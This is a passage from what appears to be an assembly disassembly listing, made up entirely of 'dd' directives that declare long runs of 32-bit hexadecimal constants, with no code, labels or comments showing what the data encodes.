		dd 0C9FFA548h, 0B7C02060h, 0D296B21Eh, 9E464E00h, 0DCE21Bh
		dd 0C198FC1Dh, 0E7F2BD7Bh, 3F93200h, 4E9C314Ch,	0EC1B03CEh
		dd 0E69018B3h, 190028E3h, 9271D936h, 0AF062Dh, 9AAF47Eh
		dd 0E112C517h, 0F90E8500h, 2550FA1Ch, 463D03BFh, 2E069C30h
		dd 90AA4100h, 9294521Fh, 0E12D3C8Ah, 0F274FC87h, 0A8EE40ABh
		dd 0B300FB19h, 8AAE71C5h, 0A093C370h, 2EB4C924h, 7AECDDEh
		dd 907DFA56h, 0F02ED2Eh, 9A1CA201h, 4D221760h, 0D47E3083h
		dd 0F988C653h, 593FE019h, 209D0001h, 8DBCFE34h,	0BAEC002Dh
		dd 16CB8772h, 5D06D005h, 4A03A4A8h, 1D4E0270h, 8BE0FB28h
		dd 6825C360h, 88934F00h, 7559D49Eh, 0A5B0698h, 30384DE1h
		dd 1A9F4600h, 0D794ACE3h, 0AF57003Eh, 16B3D46Bh, 28FE3C81h
		dd 0D1487431h, 0A7C9A532h, 0D31FD8FBh, 13670004h, 52C5D0CBh
		dd 0CC0C3310h, 313F7401h, 0AC8E0073h, 38B597F2h, 0A600AF4Ah
		dd 640720CBh, 0C04EF725h, 8F796D29h, 0C000101Bh, 0B4D0D632h
		dd 0CD0FA6h, 65433DFFh,	2D874999h, 32B25715h, 2BFC0098h
		dd 0DD583FC1h, 0D5F0BF99h, 59002AF0h, 0DB2ECB84h, 0C0AE50Fh
		dd 32D73DF4h, 6206B0F1h, 94BB5756h, 0A78D1549h,	1603A047h
		dd 0BC7AD9A9h, 0AC98C0BAh, 2D00B7D2h, 7996336Fh, 0F497Ch
		dd 7F82CD34h, 563B74D7h, 0D1C0EC98h, 5473A8FDh,	93CF3895h
		dd 6B9C10BBh, 0DF4E8CA5h, 2E001189h, 29E7EA62h,	7E305D5h
		dd 0F6924AD9h, 0F1C680C7h, 493081FDh, 0D4D331E2h, 6395002Ah
		dd 4C3FEED2h, 5F00CE13h, 0EF251D53h, 3C3C7470h,	0B9067D87h
		dd 0E13F181Bh, 5F0D0F01h, 0CB3C7626h, 3A9E8448h, 25B0FA09h
		dd 94AFE711h, 66FC4000h, 0E8D73AF9h, 0D3F30709h, 0D09D0792h
		dd 0A72F23A1h, 987DE538h, 6F618C18h, 0A01203FEh, 92DDD3DFh
		dd 6DB27200h, 280D44E9h, 6FA404FAh, 8802058Bh, 0CB0027CCh
		dd 59C2BD14h, 1585368Fh, 0A049F625h, 0BC5B0315h, 6DD3F800h
		dd 41819F8Eh, 7AC8230Eh, 179AE087h, 3989E42h, 0B8843228h
		dd 91038918h, 0D61CC97Ah, 9D1F90EFh, 575E0C62h,	0B4218817h
		dd 55B9EC00h, 6959B88Bh, 477900A3h, 80CBFA63h, 5D0E899Fh
		dd 0A0E49129h, 7A8AB7B4h, 0FB95207Dh, 0A9B26101h, 530D2632h
		dd 8006B190h, 6D297413h, 7CFB004Ah, 0A738624h, 0A24803A3h
		dd 0E452234h, 0FC098F78h, 7C80F0B4h, 86603610h,	5D8C6200h
		dd 93FC7915h, 0FEAE7469h, 0F6774Bh, 0CE98EC9Fh,	2474B170h
		dd 0B4381DEh, 0D0097C64h, 2AD1D787h, 10968Ah, 128B54C0h
		dd 8DB6B0E8h, 0E444C155h, 6500EBA5h, 0CB9423BFh, 303DFA4Bh
		dd 75993CB2h, 8A000888h, 0D3B60AD4h, 2ED0A4BAh,	240436C9h
		dd 2EDB0048h, 483F16C1h, 0D6EDC201h, 938FFED1h,	0F3018822h
		dd 1C8021DDh, 0BE37F422h, 0F50EC3E8h, 83AE52h, 897963CAh
		dd 91050098h, 0FA4F73D6h, 0C3323DFBh, 60B98933h, 0C8E7BD9Eh
		dd 0E68047C0h, 0D35BFB90h, 0A49918h, 211B0140h,	9503AACAh
		dd 972352Eh, 4B9B88C0h,	0BA7000E7h, 837BB0D3h, 27FC260Eh
		dd 62CBA9C0h, 0E03808C8h, 6B612BBh, 0DF58402Dh,	0E7C33280h
		dd 7F007770h, 27F91EC1h, 58FDB45Dh, 53801803h, 8A37248Dh
		dd 228C80Ch, 0EA1933h, 1301882Fh, 350D1C70h, 382EAB14h
		dd 877100A0h, 0D27721C1h, 0C8914Dh, 58FEE495h, 80004B02h
		dd 9A54087Eh, 7C31B45Fh, 749518A4h, 63C5B922h, 21AFC000h
		dd 67D49D0Eh, 4CA82459h, 874439F8h, 0AC00837Dh,	7673043Dh
		dd 13DC5EF8h, 0FDD8D5Bh, 14EF209Ch, 0C831B104h,	0FE05748Ch
		dd 0E610E525h, 0BD44CC40h, 96292D9h, 0E12A4C79h, 74E4DC80h
		dd 13001D63h, 0CECBBAE9h, 0A4933960h, 0F62004ACh, 0CCE0D3F4h
		dd 83014438h, 670A36FEh, 9070E55Dh, 664B01FFh, 26E676F5h
		dd 9C89800Eh, 0FC22CB88h, 0B0EC0181h, 18514B56h, 0B3218033h
		dd 0CEF9F6E9h, 0B0C01939h, 1131F806h, 76DCD695h, 0FCB851h
		dd 93199092h, 0CDF9A33Bh, 95C08B03h, 20B8574Ch,	6F133031h
		dd 0A8033F5Fh, 23934Dh,	39382989h, 0CE80527Bh, 0ED420502h
		dd 64026BBAh, 13205800h, 0B600CB3Dh, 9818B044h,	1E307213h
		dd 0F88758D9h, 925B017Ah, 5AE1A675h, 0EFA13BE8h, 0FAD1B003h
		dd 0EC50E090h, 0E39F1E88h, 64051CE5h, 0DC1B4344h, 757F90DFh
		dd 39F28B99h, 20B8B9CEh, 22A655F8h, 0C7E001A2h,	0AAEBA8C3h
		dd 7AC88404h, 0D6403E74h, 98BB67FEh, 47C8630Eh,	0E9A9A068h
		dd 54181002h, 7B82AC20h, 57990090h, 7F35AAB6h, 40E58068h
		dd 38253CFCh, 0BB473000h, 8372CEFDh, 0AE3D2C99h, 0C515C030h
		dd 49120D10h, 4805E63Bh, 484219Fh, 360ACC8h, 6A79933Fh
		dd 0E188781Ah, 5B268821h, 4D11B0DDh, 675C3D2Ch,	840BE125h
		dd 0FE6AF550h, 73FAA461h, 942C0068h, 351A88BAh,	913106ACh
		dd 7141BC8Dh, 80404948h, 1A36F811h, 0E8C400B0h,	0A8983954h
		dd 12363D97h, 0E29B262h, 0C4BFADD4h, 0AF5CFB81h, 4FE44048h
		dd 96E89041h, 1FE67598h, 0F11C910Fh, 0CA8D64F7h, 5C57B0C8h
		dd 58F34B7h, 0B24B6580h, 9613ED44h, 1020A58Dh, 3A5E41C1h
		dd 0FCE739h, 6CB0BACCh,	76B85B0Dh, 0C01B41CEh, 296E6443h
		dd 7AB0004Ah, 74EC185h,	0D202DB0Ah, 26E5B6FCh, 4BC44F6h
		dd 0EC2A2276h, 7B288142h, 498BD868h, 0BD56CF12h, 3C09F425h
		dd 16F4076Fh, 1350909Bh, 5ABA0029h, 0F36375F7h,	0E407A291h
		dd 0CBE22714h, 8099AEFFh, 0EFE58892h, 184C4C15h, 9A25911Dh
		dd 8C468141h, 0E801EE00h, 44A9519Fh, 108048D0h,	72C5EC00h
		dd 0E460FBD3h, 1319092h, 951790E7h, 0B6A7A180h,	0C67469BDh
		dd 93906017h, 0E1531420h, 9BF0E17h, 0B4A0D5D4h,	0E688566Dh
		dd 45A93D00h, 1BFD1D38h, 19F900ABh, 8BE124C9h, 442820CDh
		dd 0FF3AB4DBh, 19696018h, 0F15A934h, 50B35894h,	87FE5BA0h
		dd 0C226CBA4h, 166004ABh, 1F65ECFh, 0DB71D45Dh,	36B956C4h
		dd 248C049Ch, 608C32BFh, 8B1788DFh, 1A5729C0h, 18AF636h
		dd 0DC3BCFD8h, 0C0758388h
		dd 9F3B8F26h, 94E63906h, 6DCEA01h, 0E44922EDh, 9BC50049h
		dd 0B73279FDh, 0D5076711h, 8BF2A561h, 0D353857Fh, 0BE8AA802h
		dd 28A061B2h, 0C12F74E0h, 82590A1h, 5CC01726h, 7A6ABD96h
		dd 6661C049h, 88A38673h, 9FCE100h, 3C4ADF2h, 87500782h
		dd 4114B99Eh, 30576C98h, 1C002930h, 4A2328E2h, 0C1E04E58h
		dd 0DEA1E49h, 0B7FFECE8h, 1DAFD200h, 2F8CCC72h,	8B282610h
		dd 93F70170h, 610C75E3h, 0A16FD428h, 0B1760300h, 19A4DA9Eh
		dd 9C945418h, 0C11F3A9Dh, 0F18B4582h, 505A7556h, 5A773A00h
		dd 0B4669927h, 0EF9B007Ah, 5DDF21DAh, 8AE00F68h, 0B01CFC09h
		dd 0CDC0057Fh, 79F24C8h, 41D0D6D5h, 806BA55Bh, 684CB634h
		dd 0F3D5490h, 0D08D93CFh, 0DA983890h, 24C07C88h, 47B81526h
		dd 2121BD3Dh, 0B092F254h, 8370B060h, 6628CBFCh,	6A00CCD7h
		dd 22873DB2h, 0C042A58Eh, 9A755789h, 230468CBh,	18CF9763h
		dd 78F01889h, 0C54016ACh, 0A9DF0056h, 9272C81Ch, 8181507h
		dd 0ACBEA49Ah, 553177h,	0CD43D6Ah, 2AABF53Fh, 780F2903h
		dd 7590231h, 0D0C62271h, 4015A7E6h, 2BBE0E45h, 267D0B04h
		dd 70A754B1h, 249D4400h, 25C899DAh, 85047175h, 3C94F873h
		dd 438FE460h, 0BAC62807h, 172174A5h, 0AC408BABh, 0B11E2F7Dh
		dd 1DEF80E0h, 8805A042h, 0AA6AF31Dh, 0C7B19805h, 1E429C1Fh
		dd 0C6AF577Eh, 441092D0h, 1D7DC38Eh, 0F2E1E200h, 6E27A118h
		dd 0C7D01821h, 1E66707Eh, 28EA3CB8h, 0FECBD1C0h, 7B3D89FAh
		dd 0CEC91EC7h, 333ED68Dh, 0A7D007B4h, 917B5961h, 7ECAA105h
		dd 9C2003FEh, 0E948FABh, 0DB205E1Fh, 0B3DA51A1h, 9770A083h
		dd 389C03Fh, 0FCFB6CE9h, 0C4C9C53Dh, 707535F0h,	6241140Eh
		dd 84C6D8E1h, 540034DCh, 9ABAFF68h, 675F2Ah, 8AECB51Bh
		dd 7F03A691h, 57808605h, 0A881668Dh, 383D7447h,	0B68F9200h
		dd 34C38835h, 89004F74h, 5B71016Ch, 0A40559DAh,	0A8D000E4h
		dd 421AFAC6h, 0F702467Ch, 195DB41Bh, 6E50405Ch,	70BE0972h
		dd 948EA1E4h, 0A386A9EEh, 571A4155h, 0C6B98AA5h, 1B975F4h
		dd 0D307514Fh, 60E24589h, 0E4883F60h, 7D291212h, 497C02F4h
		dd 0A844BF8Dh, 42F260F0h, 18AE213Eh, 4A6940A4h,	744B00A7h
		dd 0D1C9641h, 10FB1ECh,	1F26E6DEh, 0D3B779F0h, 7CFA1387h
		dd 22E831E1h, 0C692ECBEh, 0E4B2BD00h, 0FC144849h, 0F2F0046Ah
		dd 534D1B26h, 0B3F24C8h, 1D210589h, 65B0E802h, 13003446h
		dd 0CA1097C2h, 0F00936FAh, 1ADF1DF3h, 0E09322h,	0FDCB035Ch
		dd 7D4EB7E6h, 13FCC020h, 0C55E014Ch, 0F72558A4h, 0B05C504Bh
		dd 66091463h, 10039AB9h, 12B49240h, 0EC80775Eh,	0A65B165Ch
		dd 0C16DD862h, 0EA104284h, 8C04AE03h, 0F1EBFAC2h, 0D9243EC1h
		dd 62EA020h, 19E0023Ch,	0D3004177h, 61449249h, 0A8C756E4h
		dd 5A7F2E6Ch, 76020A9h,	0D7E818C9h, 1E00D3FCh, 0BCEC4739h
		dd 7E7A35Ah, 19C194FBh,	996A244h, 0BA5D1440h, 66D1D501h
		dd 0E61B70B0h, 0F7B5D070h, 83B809D3h, 8CB00A25h, 0E54BFB21h
		dd 64727C20h, 996A005Bh, 2171EC5Dh, 0EB00BACFh,	12D9261Bh
		dd 48F692B1h, 82C09CDFh, 0CCBEB80Fh, 8600ADF8h,	98210224h
		dd 94497BFEh, 0A1CE8090h, 72E44A53h, 62D07002h,	82E76D80h
		dd 0E141ECF4h, 66CA0E80h, 0A0DF004Ch, 7159B001h, 2000E616h
		dd 0A587EC2Dh, 17AC647h, 0FD1FFCBAh, 28DC5CFBh,	0F319809Ch
		dd 72569AD1h, 5D020073h, 37A03A31h, 1005C184h, 0B4ADBFCCh
		dd 406DD080h, 7BE8C8h, 0BE739666h, 0E5CCB575h, 8705FF00h
		dd 195620C1h, 9262BDFh,	0B91269Ch, 2C9048B1h, 0A51E9FFDh
		dd 0E55696C4h, 6A121300h, 2153DA8h, 0FCB7692Bh,	0AC485006h
		dd 30E6F54h, 0A3DCAFF1h, 0E0E2976Dh, 0A83268Ah,	176C7EF8h
		dd 82BA0068h, 0B5010CABh, 7B672B0Eh, 0D2186121h, 86DC3D52h
		dd 0BD27054Fh, 88492EE3h, 31246BFCh, 6D00EC75h,	51CFA97Ah
		dd 2B41000Eh, 882CE886h, 0AA1E70B2h, 578DFBD9h,	506039BCh
		dd 21834ACCh, 0DCED8900h, 5E76F31Bh, 0FD0BC8B0h, 804441C6h
		dd 398163Ch, 0DCD9C052h, 0E096738Fh, 0AF1FB600h, 635DC045h
		dd 6EA6027Bh, 0CF092A50h, 0A57388E0h, 0BD7876E6h, 195AD5B0h
		dd 49476840h, 4CDBB23Ch, 0DE00CA3Fh, 0FD42800Fh, 200EB4Eh
		dd 1973CA4Ch, 430BB04h,	4BA4E3A7h, 0B0B290h, 0BD6E75CDh
		dd 90C5AE28h, 94B7099Ah, 40643274h, 245B6303h, 98A3B9F8h
		dd 13D8EF2h, 0F0F1527Ch, 6C35789Bh, 2D410168h, 0CEBAD3BEh
		dd 30DD6CC4h, 0AD693C93h, 2F01B7CFh, 0D6915015h, 8BF03952h
		dd 4F0B0044h, 26D83DDFh, 31C74CB0h, 0DB7275D1h,	454C216h
		dd 68B09DDDh, 0A78D5087h, 97717C1h, 0CA440972h,	0D048D487h
		dd 0DD255B74h, 85F8ED74h, 227BCBF6h, 0B6595060h, 0AA49DEh
		dd 520EA723h, 9030AA0h,	204D0B2Dh, 7689A370h, 237400D1h
		dd 0D69E1A57h, 0F4754526h, 2B25D20Ah, 7E09CCFFh, 6D206875h
		dd 93A94CC7h, 712B9500h, 2EF499FEh, 47A80C1h, 4E035905h
		dd 78779DC0h, 8363A63Dh, 4A5D1670h, 0D6969050h,	0C37D2DCDh
		dd 2C124810h, 1100C97Ch, 0F76F7080h, 3F556867h,	0E7B25B87h
		dd 8C814788h, 6F1F80h, 479C43Fh, 3DCCBAECh, 687489C3h
		dd 0D55B812Ch, 70F88FB3h, 4F480FDDh, 0E12A3B74h, 697627A4h
		dd 2EA8FD14h, 0C640F8BFh, 303C1129h, 9E513DD5h,	0D74AC0DAh
		dd 86F87820h, 9DF201ACh, 93A4ECFCh, 51351126h, 69F7DCh
		dd 87437628h, 52FB69Eh,	3A615460h, 0C4F9A94h, 598A1EBBh
		dd 46136C68h, 74201747h, 1A99F87h, 2CF3FECCh, 3C6C0CA2h
		dd 0D35F01B4h, 0E33BDD8Fh, 14E57060h, 0FC7566ADh, 0C6E9A680h
		dd 0DA4CDDB8h, 0D64E0505h, 0B4C89317h, 6BC90EB6h, 0AA002403h
		dd 1776FE1Ch, 2A80689Ch, 9D482722h, 20574B59h, 0D5071CA0h
		dd 37005490h, 0B61AF8B5h, 25C4548Bh, 88111429h,	26B70C6h
		dd 3989DF0Eh, 95EA2017h, 5DBF6Ah, 0D05F4B67h, 7E59066h
		dd 8B755639h, 0E8B8572Ah, 140B0A20h, 0F07B8D5Bh, 0BD007E3Fh
		dd 24608AD3h, 4B269616h, 0FC402C02h, 0F8BEB03Ah, 866900ADh
		dd 0D2478F0h, 0DCB9D88Bh, 26608099h, 503B9311h,	0C029F284h
		dd 0BBA5DC00h, 0F0A6400Ch, 869D00A9h, 2D2C4473h, 24916457h
		dd 0FC03FC12h, 0A11DB313h, 1304E40h, 0D1FB120Ch, 954C4B9Bh
		dd 8AD0E900h, 0A4BEF625h, 61741AAFh, 7AF69E68h,	6CB7008Ch
		dd 4C12971Dh, 8202DAD6h, 0BBE670D2h, 648C820Fh,	181B2077h
		dd 523EF1F5h, 0CCB2294Ah, 25770A83h, 9071CE14h,	0C6E144F8h
		dd 65005FEEh, 0EF91DCBBh, 0DFAF1Bh, 0F7964B5Ch,	5E7A283Ah
		dd 0FB6ECB78h, 0AE2651A8h, 267E03E8h, 59005814h, 0A43E75CEh
		dd 2AF05E74h, 64235Dh, 0FE80F8E7h, 0CBADDB9Bh, 7588AB50h
		dd 69BEED09h, 852F0FCAh, 2482D308h, 0E0E666h, 5C3485F0h
		dd 3C87C47Dh, 18A9D00h,	57650516h, 0CA03018Dh, 6D368F96h
		dd 7C7C34F4h, 8A483465h, 0C5A83C81h, 4CD05570h,	0B63B8887h
		dd 0F88004CCh, 6C1231A1h, 0F68C7600h, 6D25EA5Dh, 0D4A016FDh
		dd 10A83042h, 0C001A26Ah, 7D5BEA71h, 0C9D92969h, 7E9EF670h
		dd 3F2F181Bh, 0FB60D896h, 5EC3948h, 0C33C853Ah,	91284A3h
		dd 8D8CC85Bh, 0B044CB5Fh, 48F3B757h, 80E07026h,	3C5912C6h
		dd 549C39CCh, 2E424B44h, 6050A0E1h, 121BA826h, 437BFD02h
		dd 918804Fh, 24D61D49h,	777BCEAh, 99454119h, 0F2041080h
		dd 963EE3B2h, 806848E6h
		dd 8E58BABDh, 0CA59007Ah, 0C150BB37h, 0CB02D76Bh, 920E189Bh
		dd 4E54C116h, 35E16D10h, 0B1234300h, 5A603309h,	982028C2h
		dd 0CA7A01D4h, 453AAB80h, 6A78A803h, 108E6027h,	0FC4ACB40h
		dd 0A0990087h, 469E88AFh, 0B8B40502h, 0CFDD8687h, 0E76C4FF0h
		dd 19C0613Dh, 0E1FEAA46h, 0A904CB2h, 0EC48488Ch, 0EDD461C0h
		dd 23C79FBh, 78B13816h,	60E6226h, 0C1355100h, 160F8D43h
		dd 2074E06Dh, 8BBDF46Ch, 4FE1662Eh, 0BF25D800h,	0C800968h
		dd 597442CBh, 0CF7B5029h, 0DE4D6600h, 0EE076F81h, 0AD450FD6h
		dd 1300BEF8h, 3C7E3F75h, 8920C659h, 43E98085h, 190AECDh
		dd 91E6B53Eh, 0C1B7FA09h, 0A42C20FBh, 3D268800h, 0B5EF1C90h
		dd 797F1EBAh, 0FA1B075Ch, 1D460112h, 58F0787Dh,	53A0122Fh
		dd 4208E882h, 8B30B13Ch, 6970A0F2h, 0DD0362h, 0A2B50CDh
		dd 6E9921ABh, 0B42F022Ah, 1EDE8C00h, 967E3682h,	8700BD9h
		dd 10E42EF9h, 233BBC00h, 519860FDh, 39D700CDh, 9B471B57h
		dd 0AB061026h, 900F5CE3h, 17FF2580h, 149DFCA0h,	10984557h
		dd 7889B000h, 0C0D8AFDDh, 8D5E09F0h, 0F8680247h, 9900E119h
		dd 9FBBC511h, 0A43ED43Dh, 4A1B22FCh, 0E360B679h, 0D8AE5519h
		dd 0B414971Ch, 2CCD8E28h, 0D40AA098h, 98965D44h, 1660842Ch
		dd 73172835h, 3C991E40h, 5A0900C8h, 21AEB8A2h, 89D95F03h
		dd 9DE488ECh, 12CAC01Fh, 7A40F04Dh, 1F1BB95Fh, 28E80F51h
		dd 18E11258h, 0A3B7052Ch, 0CE54C12Eh, 0CD87D12Bh, 29082FCh
		dd 6235CACBh, 907C7A14h, 0A0A6F019h, 0F0EBB308h, 594044D0h
		dd 3C03B909h, 8860E8C1h, 0A8390B32h, 449074F5h,	9300126Ch
		dd 71C18FE4h, 0A0ACCC5h, 90D1FDDDh, 3D4439A4h, 0C033AE22h
		dd 0D6418759h, 0F8945DD1h, 72EE4541h, 2CE6D7E4h, 26884813h
		dd 9F1C011Ch, 297490EBh, 0E0100080h, 1973C52Bh,	29A700F6h
		dd 1C1E6485h, 0FD0B2D24h, 4C8FECEh, 30C27870h, 0FF842F59h
		dd 0B08A237h, 0BDC6E3h,	0DBB62499h, 4FEA031Bh, 8D0EF08Fh
		dd 89F702Ch, 3892CD12h,	70C89049h, 0D2F9024Fh, 111D1FA0h
		dd 104B64C1h, 12AA7E95h, 5C25A58Dh, 0D8690Ch, 0CF3BDBD5h
		dd 2301C2Ch, 94C75956h,	68B60E79h, 71C08EAAh, 0FDCA9DFCh
		dd 93299914h, 88852EECh, 0BB2C5600h, 0A8428111h, 4AC78C20h
		dd 759F8F6h, 848909D3h,	0CA989DF0h, 1D5B0E9Fh, 8AC00B8Ch
		dd 0CE0CBF68h, 720F491Dh, 5789F840h, 180D1BC1h,	0FAFE56E4h
		dd 649E1764h, 0CA2C9C80h, 2D7195h, 81FEA11Ch, 73FBBCB6h
		dd 26350501h, 8227C699h, 90EC360h, 0A2017C52h, 0BC102809h
		dd 58B1B157h, 58D1E302h, 85218h, 0AEE1D8F8h, 8D56AC15h
		dd 0A294B603h, 0C0CDE296h, 24356E83h, 40F419E4h, 0DB6A18A8h
		dd 900E65EAh, 61D63BB7h, 0C347350h, 0C6929440h,	0CBD50141h
		dd 46B99C6Bh, 14A820E9h, 9EC5E59h, 0D9FC9087h, 42720018h
		dd 4567A9Bh, 0BD1E1F2Ch, 8C101B00h, 0F15CFB1Ch,	0AFB4408Fh
		dd 0EC010AC0h, 0FF059A8Bh, 6C921C6h, 6DCEC420h,	7F260010h
		dd 77352FD7h, 0A7F067C6h, 102CE225h, 77D832Ch, 0CF35199Dh
		dd 474930F9h, 69004CCBh, 0DEBE6397h, 0F99286AAh, 4F008072h
		dd 88692874h, 9CB0E60Bh, 0B291522h, 0FE14A898h,	0E600D864h
		dd 9458C79h, 3E477DBBh,	5983210Eh, 5A93D0FCh, 0EB1C391Eh
		dd 0A7A11F40h, 0E4447328h, 8C4D07EFh, 60BAEE6Eh, 93C1C67Dh
		dd 1C48A801h, 0E2568ECh, 0B0C03C44h, 3878D53h, 0B63412C1h
		dd 0B1003748h, 0BE30C902h, 8DF5B9h, 7CFC01D6h, 3C0490E6h
		dd 92F8D44Ch, 1C8E0031h, 2669A620h, 13F03356h, 16AC25A5h
		dd 81A7B0B0h, 0DE6C809Dh, 5ACBBDh, 7E5F1D76h, 57BF8D91h
		dd 0E311D491h, 0D3D4C800h, 9A2E4A0Ch, 0F6594500h, 0FC1EBDC9h
		dd 26F7185Bh, 2B9C810Ah, 0E570E178h, 9F2675FAh,	0DB02A098h
		dd 0E6AA3F10h, 0B3F74800h, 4840E501h, 0C449995Eh, 5201EDA3h
		dd 8CF8C376h, 202AB057h, 7BB9FCE0h, 0E6821A0Fh,	0A82E0189h
		dd 7030FBC7h, 94744C77h, 8180418Bh, 76CF903Ch, 73CA9400h
		dd 4B66D707h, 80BCB618h, 0DA789AFCh, 38045EB0h,	48CED30Eh
		dd 54CC8h, 0BF7DCB44h, 9178E737h, 1162AC00h, 0E974FBA8h
		dd 288509E8h, 8428E49Fh, 7D6E60C0h, 51166721h, 8888632Fh
		dd 1EAFCF5h, 0B9B3E79Ch, 2A0275DCh, 9410F040h, 1293EFACh
		dd 0C6F6547h, 743917F4h, 0E60098A4h, 0D7088732h, 9AFEDAh
		dd 82671CEDh, 42C61039h, 64F46B27h, 0F5E0012Ch,	61888F37h
		dd 0DC027036h, 3EF24B00h, 0FA2AC31Ah, 92AF4A3Dh, 8C901758h
		dd 0E60091C9h, 0D866B80Bh, 4803BAh, 686EAF59h, 2D3F4F79h
		dd 6C400CB6h, 1E6A55EAh, 0C0978C16h, 0E5C99B3Ah, 0EC0092B0h
		dd 2A64DA45h, 3D4691E1h, 39604DDBh, 76F0D8D4h, 697EB57Dh
		dd 240081E8h, 0CDD5C885h, 55A888h, 58F86BAh, 46FCB87h
		dd 0FC22EBh, 0F0B79D99h, 2E0FC3h, 8BA427F7h, 10DC8AE0h
		dd 29DF5901h, 0FDFFCBB0h, 4B229EE4h, 0AF4400A9h, 21396AD5h
		dd 0C8024B25h, 41EB76Ch, 65D0F346h, 0A22CAD68h,	81E898E6h
		dd 36394CF3h, 0F9F58900h, 72C188DFh, 6DB82E73h,	629DE201h
		dd 9141BA3h, 4F95F9D0h,	0BED480E6h, 2B1FA578h, 0E58AAA1Ch
		dd 5408C4Eh, 0F4E85Dh, 0D6AEC740h, 120FAD74h, 1FCCB000h
		dd 0DEA4F70Ah, 211730FAh, 57CD289h, 39B97200h, 4E59A12Eh
		dd 33500070h, 4212550Bh, 0AA00A554h, 9384870Fh,	9E66D094h
		dd 9E7B4060h, 0E6031DE2h, 0F8DA067h, 93AEBB2h, 0C66A0D91h
		dd 0C20C0900h, 0ED001D7Ah, 96EFFECBh, 0B0EB78h,	0D7373C72h
		dd 909BD05Fh, 0A7021B7Eh, 0B1660614h, 73D049E0h, 39ECC28h
		dd 97438AC6h, 9F34CCE0h, 7E20D439h, 64A15400h, 79778D5Bh
		dd 9D840197h, 0AA04703Eh, 0E84461D6h, 57332D6Fh, 130A1BEh
		dd 1BB9860h, 2C25AF3Ch,	8027883Ch, 0D18A7BCBh, 14F84220h
		dd 0CD07BCB9h, 8089E9FBh, 0B1B52BBCh, 0D9C20254h, 535FBE1Ah
		dd 8E7D5CE0h, 0FC8B009Ch, 0D2FD00E6h, 0F009FA56h, 13A898E5h
		dd 90187CB8h, 8ACEE694h, 7F0C2C00h, 3EBCC0FBh, 0F1E2045Eh
		dd 0C8191094h, 0AA0F9614h, 7E681514h, 93FEBC3Dh, 0D860A77Fh
		dd 1C51198h, 0DD8F3AB5h, 3E178650h, 87C0D45Dh, 0A0C5EE47h
		dd 0FE7C1C23h, 1EB86C8Fh, 9BC92FBh, 0F1806F78h,	7DBAD960h
		dd 0CA2C877Dh, 0D0029642h, 63572189h, 914EEA43h, 68D4E3F8h
		dd 0C24A1E09h, 6354C086h, 27449987h, 0BB789506h, 3B382ED4h
		dd 31223DCDh, 0C8938F27h, 0EB2F298h, 0AD1C08A3h, 446AC93Fh
		dd 0F800E0C4h, 501ED2AAh, 7D8B3FAh, 0EE9FD935h,	0D7403F10h
		dd 720B7130h, 0B10810B5h, 36AB0B8h, 8431FC96h, 0BAC035D4h
		dd 4A05B7E4h, 986ACD04h, 0B9039CA2h, 8BA632C4h,	78A2ADh
		dd 0F67BD6E3h, 0CDBAACh, 12EFC657h, 32DDF150h, 3462BE26h
		dd 0B6FE4B01h, 203E1AA8h, 7B8EC310h, 0E05DAA0Bh, 0E9007DD0h
		dd 0E670D5BAh, 5C2F00BCh, 162B00F4h, 0D2C4528Bh, 22B03B4Dh
		dd 56B02632h, 5D253BD3h, 0D93FA090h, 0F1DBFC00h, 0FE861388h
		dd 3C4B4830h, 94041F04h, 5A78A449h, 27255503h, 0CC807917h
		dd 44DCC8h, 0F89A2C06h,	7C29C78Ah, 39D4302h, 0E33DE4C1h
		dd 31294F9Fh, 0FA499374h, 0FCDFA020h, 18A304A2h, 0F2B05BDAh
		dd 33A91188h, 3D7BC101h, 30DD788Eh, 0BE027A4Ah,	48136F05h
		dd 1685E04h, 962C7392h,	2AE6C5ECh, 0AEE3023h, 0E80F1B32h
		dd 0C558008Ah, 2A1D8760h
		dd 967EC100h, 9A829BFh,	6059589Ah, 638211C0h, 0F0B5B4Bh
		dd 0CCEC7Bh, 0B96ED7BEh, 41C7040Bh, 0C8197E57h,	4E1D9A84h
		dd 0AF07728Ah, 7BF0163Eh, 0F41B94h, 909FACD3h, 0FE49E06Fh
		dd 29873D16h, 0F700B4B2h, 4773F821h, 3B007860h,	2C7E386Dh
		dd 0A14CC94Bh, 8FF8FEF0h, 0A27227D0h, 0EB03A044h, 894532CAh
		dd 543D98B9h, 0DD6B007Bh, 0E83C3E18h, 0B600CB1Eh, 0BCFECA04h
		dd 9F06989Dh, 25BA5402h, 3D429C7Eh, 12A446D5h, 904DC342h
		dd 0A5D77400h, 0B095100h, 1B412310h, 0C89A00E3h, 0B07E65C4h
		dd 0AD13B1C9h, 64024506h, 5181FD7Bh, 9BAF3D78h,	0AF076C7Ch
		dd 13043B8h, 484042BBh,	96C04494h, 89362232h, 0CFF22098h
		dd 9D0B09E2h, 0FF17F59h, 0E90CE169h, 0E4333152h, 76D65A0Ch
		dd 0AB00BC9Eh, 0C26B603h, 5C0229h, 0D12ED567h, 0FECD8A53h
		dd 2BF94B16h, 0B2C0E0h,	0E71843C5h, 0CB8DEE3Fh,	57892E67h
		dd 40929BE4h, 1AA8C003h, 3D50042Dh, 0B90204EEh,	805E3CA0h
		dd 9D2B3374h, 15EB97h, 0BFAAFF99h, 17A5A05Ch, 9301FEE6h
		dd 2D3C23C6h, 23FCDB1h,	2BE01264h, 0DF008046h, 0B8FC102h
		dd 28BE2D4h, 0D253DC98h, 20C60D26h, 0A034809h, 0FD7C70E4h
		dd 84607E12h, 0CB006C72h, 66D1FD70h, 0B8B4E525h, 0AE630180h
		dd 5A2EB37Ch, 98B6E079h, 0FFB12809h, 60AC1203h,	312309F5h
		dd 0FDA09B2Fh, 16E450E4h, 449E8FF8h, 58B3A41Dh,	0A5B0C001h
		dd 8978177Bh, 0D0FE006Ch, 0AFBBE91Ch, 97A66D01h, 0CD3C87B2h
		dd 90C04C3Eh, 61F18558h, 0FB40F890h, 892C109Fh,	1EC0E26Bh
		dd 0FCEB4FC5h, 0A1853CC8h, 58FCC0BEh, 0B9007F3Eh, 0D4A81B0Fh
		dd 0B5DA0CCCh, 0E50AC083h, 0F36D70A7h, 6C5C4C91h, 0C274C064h
		dd 798297h, 51809935h, 0CB9AEE2Eh, 0E928A101h, 5EAD6F1Dh
		dd 0EB48073Fh, 9BDF4090h, 9A9FEFE6h, 6F7FC084h,	738D0B57h
		dd 80E45B77h, 288C39h, 0E6562C9Ch, 306DE191h, 53F08F59h
		dd 2A09435Dh, 0D8F38BECh, 0CA66170Ch, 129BEC83h, 58C92547h
		dd 10790820h, 5703E6h, 5B0E9A4Eh, 771A672h, 0AB68580Ch
